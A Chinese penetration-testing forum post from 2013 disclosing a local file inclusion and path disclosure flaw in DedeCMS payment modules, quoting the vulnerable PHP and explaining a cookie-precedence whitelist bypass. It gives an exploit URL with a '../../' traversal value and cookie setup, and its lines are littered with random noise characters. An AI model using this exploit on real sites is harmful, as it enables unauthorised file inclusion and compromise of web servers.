中国网络渗透测试联盟

标题: dedecms本地文件包含及物理路径泄露0day [打印本页]

作者: admin    时间: 2013-4-4 17:25
标题: dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
5 z1 u+ R8 v4 D3 ?/ r0 }- E9 B5 }$ f, ~. k* j* E
出现漏洞的两个文件为:% B1 v4 m% ~5 C6 ~. b* {$ F9 k  ^* C
Include/payment/alipay.php
! Z3 w7 @$ M0 s2 u+ a) I+ e+ lInclude/payment/yeepay.php
1 Y  O# y& D% a- b漏洞均出现在respond方法里,估计这两个文件是临时工写的。
# j5 [) T$ a! g: m/ t
/ A% X: q) ]% P" JInclude/payment/alipay.php/ m, \" j  z, B8 f/ H. Z3 `
* }4 F3 e' T4 ?0 E: M9 Y' ~+ W6 J
......7 }4 a3 e4 W/ V' J; X* T. w- `
   function respond()
& y% N: G! `' ~9 Z2 ]  I    {
  \/ p) K' P9 i5 O5 I        if (!empty($_POST))4 ^. q4 U! m0 q
        {6 ~0 E3 p' u1 X9 ]) A
            foreach($_POST as $key => $data)
0 m' n; {4 g9 C            {
. ^, W/ _: X. [" m* a                $_GET[$key] = $data;
* m6 f6 x) r/ a( p- R0 i6 }; \            }/ [/ M6 O) U7 T
        }) C: `8 N' }( G/ K9 q. [
        /* 引入配置文件 */
" L8 V1 ~8 [, V8 K; O% M0 Y) M( T        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';) }* {- f9 y, U; ~. Q
...... & i3 d, y' ?8 r4 N0 i5 s( T% T
" W& w) |( N7 b4 i  v  e) G$ a4 b

# C! w( D2 F% d7 A3 {大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。. s; R; d1 a1 m0 N
% d& Q4 Y; N. J
Include/payment/yeepay.php
& [4 `% W3 G3 P# h! ~3 D4 W( E3 n# J) \4 i& Y- C5 o1 u) {

% o( C8 Q: X4 P5 ^& R2 b
: m$ Y9 w% i; Z) a, f7 |1 m......
$ Q  j0 c; B" J: k3 A4 b    function respond()
0 {0 l- ^6 S" t3 i& W9 @0 `    {' K7 f1 D' S5 |6 w( r2 _" m) G' V
( H* M& {7 F+ Y
        /* 引入配置文件 */
+ Q& t+ e% \+ @6 s  _7 |5 u        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';2 H* r, z1 F5 U7 l. u! Q
) A. C! ]' Z% e4 [' z
        $p1_MerId = trim($payment['yp_account']);5 e" _4 @) a: c# W
        $merchantKey = trim($payment['yp_key']);
* f8 U2 ^6 c- a4 d# l# U......
: t$ U/ [* X% a0 d1 S
0 k( \8 }9 `) r, Q: k- \9 Z% J
5 p$ m8 \' t' f 1 W, K( n3 }. K  x! L) t

$ t8 v( h/ h2 t; f& O  k大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。- J0 K/ d* _8 G' G

0 L0 _8 y4 ?6 e) t9 {, P这两个方法在plus/carbuyaction.php文件调用。
: T5 ?8 |1 H9 p, F+ I  l2 o& X' f
, x$ a& ]! @7 y8 ]. `plus/carbuyaction.php5 Z, c4 ^; L4 d9 v+ B# {
% h* d: F' `1 d8 s
......6 m2 Y. `4 A0 @  H
} else if ($dopost == 'return') {
+ K4 x* Q: t3 H/ N8 j& T4 r    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
/ u0 _1 U. g) R9 O; w) W6 b    if (in_array($code, $write_list))
) e3 q5 _) b9 o5 c1 I) |    {
3 I0 y5 [3 G9 R        require_once DEDEINC.'/payment/'.$code.'.php';
6 E8 h$ P' |- N) s% h+ r2 ]        $pay = new $code;
3 Y  j1 c; E+ \, g( W9 y        $msg=$pay->respond();' ]* O+ \$ f2 J% p. I6 e( O
        ShowMsg($msg, "javascript:;", 0, 3000);
0 [  q. g. b. e# m6 R        exit();  $ u1 [5 G+ I( W' r. N4 Z' a% L
    } else {, r' M7 K1 E; _( N, d
        exit('Error:File Type Can\'t Recognized!');8 ?( p- _# d- P5 A0 u9 A
    }, R  W. K  N) K; A
}
9 ^5 h3 U5 J# N6 I! I  X9 l......
! u8 v8 K$ I4 u
1 \3 ?$ n* \& J0 H( e. L, A; [
' U  a8 r* O% ?; i4 D

; Y2 n/ U5 F; J" S3 D( L / u6 U$ e( Q7 e4 b- ?( x
/ K+ `0 F/ I+ \9 D6 n3 t+ |8 B
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
, P6 a' q4 X( c0 b9 J$ M6 K所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
# r8 o: \; R( a/ W% Z' ^/ n( K5 X' I( z' B* }  e1 D: P) Z7 t+ @& i
回到include/common.inc.php来看看他的机制。
% _6 d1 I" h5 t: X- w7 @, p1 K
; X% q! b* v, v# \' ~. ~3 W2 C4 l ' @9 G6 S. }  r/ c/ Y% I
1 l8 w  A. T+ f( t3 x+ B% K8 _* y
......
- ^$ [: H, U1 G. |7 `) @, `foreach(Array('_GET','_POST','_COOKIE') as $_request)
/ P1 n4 ^/ |4 V1 }: E: _{8 G5 h; \  ]# g; U  k5 T
        foreach($$_request as $_k => $_v) $ T8 {) }8 Q0 N, f: |
        {
6 z/ P* x4 L$ D8 q3 u/ `/ J                if($_k == 'nvarname') ${$_k} = $_v;$ p: i+ d3 Z# I0 S' G
                else ${$_k} = _RunMagicQuotes($_v);8 q2 J3 s/ Z. H5 Y) @; B
        }
# _2 ]$ i0 s. d: s}
1 X& L: L0 |( `! J5 g5 Z...... 5 K; {  Z9 R) l' W3 C% J
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:2 J9 b0 x6 ]! C" ]1 o5 B. b
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2